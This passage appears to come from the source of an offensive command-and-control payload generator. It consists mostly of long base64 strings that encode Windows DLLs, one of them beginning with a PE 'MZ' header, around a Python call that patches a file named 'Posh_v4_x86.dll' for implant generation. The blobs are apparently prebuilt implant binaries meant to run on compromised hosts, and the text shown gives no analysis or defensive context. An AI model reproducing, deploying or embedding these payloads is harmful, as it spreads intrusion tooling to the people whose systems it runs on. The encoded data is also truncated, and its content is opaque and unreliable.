aoNqw2sDa0Nrg2vDbANsQ2yDbMNtA21DbYNtw24DbkNug27DbwNvw2ADcENwg3DDcQNxQ3GDccNyA3JDcoNyw3MDc0Nzg3PDdAN0Q3SDdMN1A3VDdYN1w3YDdkN2g3bDdwN3Q3eDd8N4A3hDeIN4w3kDeUN5g3nDegN6Q3qDe0Pbw9xD3MPdQ93D3kPew99D38PQQ+DD4UPhw+JD4sPjQ+PD5EPkw+VD5cPmQ+bD50Pnw+hD6MPpQ+nD6kPqw+tD68PsQ+zD7UPtw+5D7sPvQ+/D4EPww/FD8cPyQ/LD80Pzw/RD9MP1Q/XD9kP2w/dD98P4Q/jD+UP5w/pD+sP7Q/vD/EP8w/1D/cP+Q/7D/0P/w/AAAAAAEAiAEAAAQwDDAUMBwwJDAsMDQwPDBEMEwwVDBcMGQwbDB0MHwwhDCMMJQwnDCkMKwwtDC8MMQwzDDUMNww5DDsMPQw/DAEMQwxFDEcMSQxLDE0MTwxRDFMMVQxXDFkMWwxdDF8MYQxjDGUMZwxpDGsMbQxvDHEMcwx1DHcMeQx7DH0MfwxBDIMMhQyHDIkMiwyNDI8MkQyTDJUMlwyZDJsMnQyfDKEMowylDKcMqQyrDK0MrwyxDLMMtQy3DLkMuwy9DL8MgQzDDMUMxwzJDMsMzQzPDNEM0wzVDNcM2QzbDN0M3wzhDOMM5QznDOkM6wztDO8M8QzzDPUM9wz5DPsM/Qz/DMENAw0FDQcNCQ0LDQ0NDw0RDRMNFQ0XDRkNGw0dDR8NIQ0jDSUNJw0pDSsNLQ0vDTENMw02D7gPug+8D74PgA/CD8QPxg/ID8oPzA/OD9AP0g/UD9YP2A/aD9wP3g/gD+IP5A/mD+gP6g/sD+4P8A/yD/QP9g/4D/oP/A/+D8AAAAQAQCQAQAAADAIMBAwGDAgMCgwMDA4MEAwSDBQMFgwYDBoMHAweDCAMIgwkDCYMKAwqDCwMLgwwDDIMNAw2DDgMOgw8DD4MAAxCDEQMRgxIDEoMTAxODFAMUgxUDFYMWAxaDFwMXgxgDGIMZAxmDGgMagxsDG4McAxyDHQMdgx4DHoMfAx+DEAMggyEDIYMiAyKDIwMjgyQDJIMlAyWDJgMmgycDJ4MoAyiDKQMpgyoDKoMrAyuDLAMsgy0DLYMuAy6DLwMvgyADMIMxAzGDMgMygzMDM4M0AzSDNQM1gzYDNoM3AzeDOAM4gzkDOYM6AzqDOwM7gzwDPIM9Az2DPgM+gz8DP4MwA0CDQQNBg0IDQoNDA0ODRANEg0UDRYNGA0aDRwNHg0gDSINJA0mDSgNKg0sDS4NMA0yDTQNNg04DToNPA0+DQANQg1EDUYNSA1KDUwNTg1QDVINVA1WDVgNWg1cDV4NYA1iDWQNZg1oDWoNbA1uDXANcg10DXYNeA16DXwNdo/3j/iP+Y/AAAAIAEAjAAAAIw5lDmcOaQ5rDm0Obw5xDnMOdQ53DnkOew59Dn8OQQ6DDoUOhw6JDosOjQ6PDpEOkw6VDpcOmQ6bDpMPFA8WDy0PLg8yDzMPNQ87Dz8PAA9ED0UPRw9ND1EPUg9WD1cPWA9aD2APZA9lD2kPag9rD2wPbg90D3gPeQ99D34Pfw9BD4cPgAwAQDIAAAAjDGYMbwx3DHkMewx9DH8MQQyEDIwMjgyQDJIMlAyWDJ0MngygDKIMpAymDKsMsgy6DIEMwgzJDMoMzAzODNAM0QzTDNgM2gzfDOEM4wzlDOYM5wzpDO4M9Qz2DP0M/gzGDQgNCQ0QDRINEw0XDSANIw0lDS8NMA0yDTQNNg03DTkNPg0GDU4NUA1RDVgNYA1nDWgNcA14DUANiA2QDZgNoA2oDbANuA2ADcgN0A3TDdoN4g3qDfIN+g3BDgIOAAAAEABAEgAAAAAMJA1mDXINdg16DX4NQg2IDYsNjA2NDZQNlQ2IDckNyg3LDcwNzQ3ODc8N0A3RDdQN1Q3WDdcN2A3ZDdoN2w3AJABABQAAAAAOhw6NDpQOmw6lDoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + self.PatchDll("%sPosh_v4_x86.dll" % name, v4_86, 0x00012F80, "DLL") + v4_64 = "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